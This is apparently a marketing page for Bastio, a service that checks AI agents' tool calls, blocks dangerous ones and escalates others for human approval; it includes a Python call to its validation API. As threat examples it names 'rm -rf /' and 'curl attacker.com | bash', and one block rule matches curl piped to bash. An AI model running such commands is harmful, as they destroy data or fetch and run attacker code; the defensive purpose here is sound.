AI Agent Security

Build secure AI agents that users can trust

From customer support bots to autonomous coding assistants, secure every tool call your agents make with real-time validation and human oversight.

The Challenge

AI agents have unprecedented autonomy.

1

Shell command execution

Agents can run arbitrary commands like rm -rf / or curl attacker.com | bash.

2

Data exfiltration

Credentials and PII sent to external endpoints without detection.

3

Prompt injection in tool args

Hidden instructions embedded in tool call arguments bypass safety filters.

With Bastio

Three steps to secure every tool call.

1

Agent calls tool

Your agent decides to execute a tool like execute_shell or write_file.

2

Bastio validates

Real-time scanning, policy evaluation, and behavioral analysis in under 100ms.

3

Allow, block, or approve

Safe tools execute immediately. Dangerous ones are blocked or escalated to humans.

Agent Types

Adapts to every type of agent.

TypeToolsExample Policy
Customer SupportTickets, databases, refundsrequire_approval when amount > $100
Coding AssistantsExecute code, manage files, run testsblock if matches curl.*|.*bash
Research & RAGRetrieve docs, search web, query APIsrate_limit 100/hour
Autonomous BusinessProcess transactions, manage operationsrequire_approval always

What's included

Six layers of protection for AI agents

From real-time scanning to human approval workflows, every tool call is validated before execution.

Tool call validation
Shell injection detection
Credential exposure prevention
Policy engine with 6 actions
Priority-based evaluation
Rate limiting & sanitization
Chain analysis
Data exfiltration detection
Privilege escalation detection
Anomaly detection with baselines
Human-in-the-loop approvals
Agent identity (Ed25519)

Python Validation

POST /v1/guard/{proxyID}/agent/validate

result = requests.post(
    f"{BASTIO_URL}/v1/guard/{PROXY_ID}/agent/validate",
    headers={"Authorization": f"Bearer {API_KEY}"},
    json={
        "tool_calls": [{
            "name": "execute_shell",
            "arguments": {"command": "ls -la"}
        }]
    }
).json()

if result["action"] == "allow":
    execute_tool(tool_call)
elif result["action"] == "block":
    log_blocked_call(result["threats"])
